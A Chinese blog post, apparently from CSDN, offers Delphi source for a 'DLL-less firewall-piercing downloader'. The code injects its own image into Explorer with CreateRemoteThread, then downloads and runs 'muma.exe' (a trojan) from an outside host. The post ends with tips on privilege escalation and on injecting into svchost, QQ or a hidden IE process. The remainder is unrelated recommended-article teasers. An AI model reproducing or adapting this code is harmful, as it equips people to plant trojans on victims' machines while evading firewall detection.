无DLL版Downloader的代码

浪潮服务器ESXI6.7部署实战:手动集成RAID驱动避坑指南 本文详细介绍了在浪潮服务器上部署ESXI6.7时手动集成RAID驱动的完整流程和避坑指南。从驱动获取、解压技巧到封装实战,逐步解决国产服务器常见的驱动缺失问题,特别针对PM8060 RAID卡提供具体解决方案,帮助IT运维人员顺利完成ESXI部署。 阅读详情
这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是
利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,
而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太
专业。请大家凑合着看。有不懂的请跟贴。


program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;


procedure Download;  //下载过程
begin
  URLDownloadToFile(nil, ' http://www.mycode.ful.cn/muma.exe', 'C:/muma.exe', 0, nil);
  WinExec('C:/muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;


var
  hModule, hModule_News: Pointer;
  Extent, Size, ThreadId: longword;
  ProcessHandle, Pid: longword;


begin
  GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

  hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

  Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

  VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

  hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

  WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

  CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

  CloseHandle(ProcessHandle);
//关闭对像
end.


需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下
载者,请注意解决下面几个问题:

1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行
提权操作。
3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些
老机器而作的。
相机图像质量研究(15)常见问题总结:光学结构对成像的影响--暗角 老式相机的暗角往往比较明显,周围一圈能够明显感觉到亮度下降的很多,当然有些电源模仿手持相机的摄影效果,也能看到周围明显的亮度下降。一、 阅读详情

相关推荐

从学生项目到工程实践:手把手教你用ATE测试电源芯片的Rdson与漏电流

本文详细介绍了如何将学术级的电源芯片测试方案转化为工业级解决方案,重点讲解使用ATE设备测试Rdson(导通电阻)和漏电流的关键技术。从设备选型、测试夹具设计到量产环境下的工程化实现,提供了实用的优化技巧和常见问题解决方案,帮助工程师提升测试效率和精度。

weixin_42525289的博客 183

Delphi小技巧杂记

//获取任务栏尺寸 procedure TForm1.Button1Click(Sender: TObject); var TaskList: HWnd; Bordered: TRect; begin TaskList := FindWindow(’Shell_TrayWnd’, nil); GetWindowRect(TaskList, Bordered); La

winstonbonaparte的专栏 3397

基于Mind+、MOTT实现人工智能

@基于Mind+、MOTT实现人工智能 人工智能实验 一、实验目的及要求 【一】实现人脸识别 【二】实现云数据库应用 【三】实现测温数据mqtt上传至物联网云平台 二、实验原理与内容 基于二哈实现多人人脸学习和识别 基于TinywebDB实现云数据库应用 基于EasyIoT实现mqtt数据上传。 三、实验软硬件环境 硬件:掌控板 软件:Mind+ 四、实验过程(实验步骤、记录、数据、分析) 1.基于二哈实现多人人脸学习和识别 ①在Mind+扩展上的传感器选项选择HUSKYLENS AI 摄像头 ②配置哈士

weixin_44606930的博客 2380

Delphi刷新托盘,去掉非正常退出的程序的托盘图标

procedure RemoveDeadIcons2; var wnd : cardinal; rec : TRect; w,h : integer; x,y : integer; begin // find a handle of a tray wnd := FindWindow('Shell_TrayWnd', nil); wnd := FindWindowEx(w

青草 绿叶 百合 3302

利用HipSTR从二代测序数据中精准解析短串联重复序列(STR)的遗传多态性

本文详细介绍了如何利用HipSTR工具从二代测序(NGS)数据中精准解析短串联重复序列(STR)的遗传多态性。通过三步走策略,HipSTR能够高效识别STR区域、估算重复次数并判定基因型,适用于法医鉴定、疾病研究和细胞系鉴定等多个领域。文章还提供了实战操作指南和常见问题解决方案,帮助研究者充分利用NGS数据开展STR分析。

weixin_28702105的博客 483

使用python实现随机正态分布数据,并导出到表格(超详细)

最近需要大量的正态分布的数据,为了方便,使用python实现随机正态分布,画出理想正态分布图和实际的矩形分布,并导出到表格里面。以上就是今天要讲的内容,本文仅仅简单介绍了使用python随机生成正态分布的数据,画图,并导出。正态分布是机器学习中很常见的一种需求,往往需要大量的数据进行测试,此时,本文的方法就可以大大减少因数据而花费的时间啦!如有问题,欢迎评论区留言啊!

m0_53533553的博客 1万+

利用Windows API 显示和隐藏任务栏

《奇思异想编程序Delphi篇中的例子——(1)》 尽管在 Windows 7 上的效果很令人无奈,但是还是把代码发上来: 1 void __fastcall TForm1::Button1Click(TObject *Sender) 2 { 3 //隐藏任务栏 4 String className = "Shell_trayWnd"; //任务栏的...

ag8787的博客 1081

影刀RPA验证码识别避坑指南:官方指令、Python ddddocr与第三方图鉴怎么选?

本文深度对比了影刀RPA验证码识别的三种方案:官方AI指令、Python ddddocr开源库和第三方图鉴服务。从识别率、成本、维护性等维度分析各方案优劣,提供实战选型建议和优化技巧,帮助技术决策者在自动化流程中高效解决验证码识别难题。

weixin_30790841的博客 471

Delphi隐藏和显示Windows的任务栏

//隐藏任务条 procedure HideTaskBar; var h1: THandle; wndClass: array[0..50] of Char; begin StrPCopy(@wndClass[0], 'Shell_TrayWnd'); h1:= FindWindow(@wndClass[0], nil); ShowWindow(h1, SW_HIDE); End; //显示任务条 procedure ShowTaskBar; var h1:...

YanJinrong的专栏 572

ARM CoreLink 系列 5.1.1 -- CI-700 System Address Map 】

所有的CHI 命令都包含一个 Source ID 和 Target ID, 其中 Source ID 可以来自于 RN Node, Target ID 可以来自于HN node或者其他 SN node. 其中 Target ID 是通过 SAM解析传入的地址得到的。对于 CI-700中的所有 RN Node 中的 SAM 多会进行配置,因为RN Node 访问的是整个地址空间,不同的地址空间会有不同的属性(I/O, DRAM),所以会对RN SAM 配置多个不同属性的区域。

CodingCos的博客 772

基于经验模态分解和核主成分分析结合长短期记忆网络EMD-KPCA-LSTM的光伏功率预测算法--Matlab

基于经验模态分解和核主成分分析结合长短期记忆网络EMD-KPCA-LSTM的光伏功率预测算法--Matlab

前程算法屋的博客 629

Downloadermanager.dll Downloader.exe Downloader.dll download.dll Downlo~2.ocx Downlo~1.ocx Dow

以上只是通用的运行库dll处理方式,如果你遇到缺失文件是第三方的软件文件,那么就需要下载到属于这个程序所匹配的版本的文件,然后将这个文件复制到这个程序的安装目录下才能解决问题。如果我们遇到关于文件在系统使用过程中提示缺少找不到的情况,如果文件是属于运行库文件的可以单独下载文件解决,但还是建议安装完整的运行库,可以尝试采用手动下载替换的方法解决问题!文件下载完成后,下方列表会有很多个不同版本的文件,这里所有文件都是免费可下载的,我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。

2509_92393014的博客 372

【微服务】Spring Aop原理深入解析

spring原理深度解析

congge 1万+

M3u8Downloader_H代码贡献指南:如何参与开源项目开发

想要为优秀的开源项目M3u8Downloader_H贡献力量吗?这份完整指南将带你了解如何参与这个功能强大的m3u8下载器项目开发。M3u8Downloader_H是一个专业的视频下载工具,支持多线程下载、AES-128-CBC解密、插件扩展等先进功能。 ## 🚀 为什么选择M3u8Downloader_H? M3u8Downloader_H不仅仅是一个简单的下载工具,它提供了完整的解决方案

gitblog_00272的博客 966

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

image_downloader的初次使用问题

image_downloader的初次使用问题anaconda安装Image_downloader使用解决办法结果 解决报错:from PyQt5 import QtCore, QtGui, QtWidgets ImportError: DLL load failed: 找不到指定的程序 anaconda安装 根据各类教程正确安装后,在prompt中输入python验证安装成功。打开spyder成功。 Image_downloader使用 Image_Downloader GitHub下载链接 依链接说明下

weixin_44244842的博客 519

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

打造无DLL版穿透防火墙Downloader

这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。 program InjectTheSelf; {$IMAGEBASE $13140000} uses Window...

weixin_33802505的博客 100

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

helpndoc php,InnoTools-Downloader

InnoTools DownloaderInnoTools Downloader is an Inno Setup script and DLL which allows you to download files as part of your installation.FeaturesSupport Inno Setup 5 ANSI / UnicodeDownloads from HTTP ...

weixin_42505102的博客 297

skinmanager.dll pplayer.dll playcontrol.dll module_downloader.dll media_data.dll libpng13.dll

以上只是通用的运行库dll处理方式,如果你遇到缺失文件是第三方的软件文件,那么就需要下载到属于这个程序所匹配的版本的文件,然后将这个文件复制到这个程序的安装目录下才能解决问题。如果我们遇到关于文件在系统使用过程中提示缺少找不到的情况,如果文件是属于运行库文件的可以单独下载文件解决,但还是建议安装完整的运行库,可以尝试采用手动下载替换的方法解决问题!文件下载完成后,下方列表会有很多个不同版本的文件,这里所有文件都是免费可下载的,我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。

MAS1102的博客 352

判断活动窗口_肚脑虫(Donot) APT组织新活动及Downloader梳理

近期,安恒信息威胁情报中心监测到疑似肚脑虫(Donot)组织新的攻击活动,并且Downloader做了更新。猎影实验室进行了梳理分析,并大致整理了该组织这类Downloader的演变史。分析恶意样本如107d25c7399b17ad6b7c05993b65c18e为包含恶意宏代码的文档,运行恶意宏代码会弹出一个报错窗口,这算是Donot其中一个标志性的特征,并会释放KB3179573 D...

weixin_34873798的博客 408

BiliBili-Manga-Downloader项目运行报错问题分析与解决方案

在使用BiliBili-Manga-Downloader项目时,部分Windows 10用户遇到了程序无法正常运行的问题。具体表现为: 1. 直接运行exe文件时出现"无法定位序数380于动态链接库"的错误提示 2. 程序异常退出 3. 登录二维码功能失效 ## 问题分析 经过深入排查,发现该问题主要由以下两个因素导致: ### 1. 动态链接库依赖问题 错误信息中提到的"序数380"错误...

gitblog_07420的博客 815

小红书内容下载工具XHS-Downloader V2.8部署与批量下载实战

在数据采集与内容管理领域,网络爬虫和数据抓取是基础且关键的技术概念。其核心原理是通过模拟HTTP请求,从目标网页中解析并提取结构化信息。这项技术的价值在于能将非结构化的网页内容转化为可分析、可存储的规整数据,极大提升了信息收集与处理的效率。在工程实践中,这常应用于竞品分析、素材归档和学术研究等场景。本文聚焦的XHS-Downloader工具,正是这一技术栈的典型应用实例。它作为一个高效的本地化下载程序,专门针对小红书平台,实现了对图文、视频内容的批量抓取与结构化导出。工具支持命令行与图形界面两种操作模式,并

weixin_33889665的博客 601

M3u8Downloader_H插件生态建设:如何贡献和分享自定义插件

1. Fork官方插件仓库 2. 添加您的插件代码 3. 创建Pull Request 4. 提供详细的文档和使用说明 ### 方法二:独立发布 您也可以独立发布您的插件: 1. 创建GitHub/GitCode仓库 2. 提供完整的README文档 3. 发布编译好的DLL文件 4. 提供使用示例和配置说明 ### 插件文档要求 为了让其他用户更好地使用您的插件,请提供: 1. **

gitblog_01013的博客 417

Merger.dll Assistant.dll Downloader_http.dll VdDiag.exe iteide60.bpl itecore60.bpl stwrt64.sys

在使用电脑时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C++运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC++运行库或者安装的版本不完整,就可能会导致这些软件启动时报错,提示缺少库文件。文件下载完成后,下方列表会有很多个不同版本的文件,这里我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。下面我们通过使用一款DLL修复工具免费下载需要的文件。

2508_91420188的博客 394

M3u8Downloader_H部署指南:在不同操作系统上的安装与配置

想要快速掌握M3u8视频下载神器吗?这篇终极部署指南将带你轻松完成M3u8Downloader_H在不同操作系统上的安装与配置!M3u8Downloader_H是一款功能强大的m3u8下载器,支持多线程下载、AES-128-CBC解密、自定义请求头等高级功能,让视频下载变得简单高效。 ## 📋 系统要求与准备工作 ### 操作系统支持 M3u8Downloader_H基于.NET框架开发,支

gitblog_00012的博客 626
上一篇: 蠕虫功能的下载者源代码
下一篇: 苏睿暄Sql worm 2的源代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值